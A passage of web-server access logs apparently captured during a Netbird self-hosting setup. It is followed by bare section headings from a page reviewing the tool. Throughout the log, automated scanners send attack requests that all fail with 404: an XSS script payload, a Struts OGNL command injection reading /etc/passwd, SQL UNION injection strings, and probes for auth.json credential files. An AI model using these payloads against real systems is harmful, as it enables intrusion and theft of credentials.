like Gecko) Chrome/142.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.701788552Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /watch/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%2528'document_domain'%2529%253c%252fScRiPt%253eiyehb=1 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/7.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.701859802Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /staging/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.701980094Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.702186052Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /lesson.php?id=-1%20UNION%20SELECT%201,2,md5(999999999),4,5 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.702466719Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /tests/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.702468510Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /gallery/zp-core/setup/index.php HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.702489552Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /ONVIF/media.cgi?action=getSnapshot&channel=1 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/9.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.702645885Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /cms/author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5(999999999),1,1),NULL,NULL,NULL,NULL--%20-&p_id=1 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.702798510Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /prod/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.702976719Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /.clean.sh HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.3" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.703139844Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /zenphoto/zp-core/setup/index.php HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Mobile/15E148 Safari/604.1" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.703275094Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /dev/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Mobile/15E148 Safari/604.1" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.703403552Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /production/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (watchTowr; Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.703580344Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5(999999999),1,1),NULL,NULL,NULL,NULL--%20-&p_id=1 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.703682469Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /development/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.703850677Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /includes/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_1 rv:6.0; vi-VN) AppleWebKit/535.6.1 (KHTML, like Gecko) Version/4.1 Safari/535.6.1" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.704151927Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /cms/author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5(999999999),1,1),NULL,NULL,NULL,NULL--%20-&p_id=1 HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.704293552Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /staging/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.25 (KHTML, like Gecko) Version/3.2 Safari/525.25" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.704407469Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /include/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.4" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.704527802Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /prod/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.704671802Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /lib/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.704972177Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /production/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.705128469Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /libs/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 6.2; rv:28.0) Gecko/20100101 Firefox/28.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.709586510Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /library/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.9" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.709737094Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /includes/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.711413219Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /include/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.14" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.712915760Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /vendor/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.713088635Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /lib/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.2" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.713505552Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /libs/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.713645219Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /vendors/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.714473135Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /library/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0, Win64, x64, rv:140.0) Gecko/20100101 Firefox/140.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.714668802Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /node_modules/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.6" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.714820469Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /vendor/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3.1 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.715050427Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /storage/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3.1 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.715296552Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /vendors/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.715597052Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /database/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.715653885Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /node_modules/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.1) Gecko/20100101 Firefox/65.1" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.715900177Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /storage/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Mobile/15E148 Safari/604.1" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.715956094Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /db/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_16) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.722732552Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /database/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.723049094Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /auth/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.723414135Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /authentication/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.723767010Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /oauth/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.724154885Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /keys/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit/536.15 (KHTML like Gecko) Version/6.0 Safari/536.16" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.724476719Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /credentials/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.724800135Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /creds/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.725223469Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /db/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.725562677Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /auth/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.725856635Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /authentication/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.726751219Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /oauth/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.727126094Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /keys/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.727474635Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /credentials/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" "192.168.64.231" dashboard-1 | 2026-11-01T04:35:28.727804469Z 172.18.0.4 - - [01/Nov/2026:04:35:28 +0000] "GET /creds/auth.json HTTP/1.1" 404 1209 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0" "192.168.64.231"

Netbird

Overview

Why Netbird instead of Zerotier

What it does well

Similar Open Source Tools

Headscale

Limitations

Who should use it

FAQ

Verdict

Install Netbird

Download the compose file

Create .env with fresh secrets

Start it

First run

Project README

GitHub Repository Metrics

Supported Platforms

The modern standard for Protobuf workflows

Maintainer? Add the badge

Tailscale

OpenVPN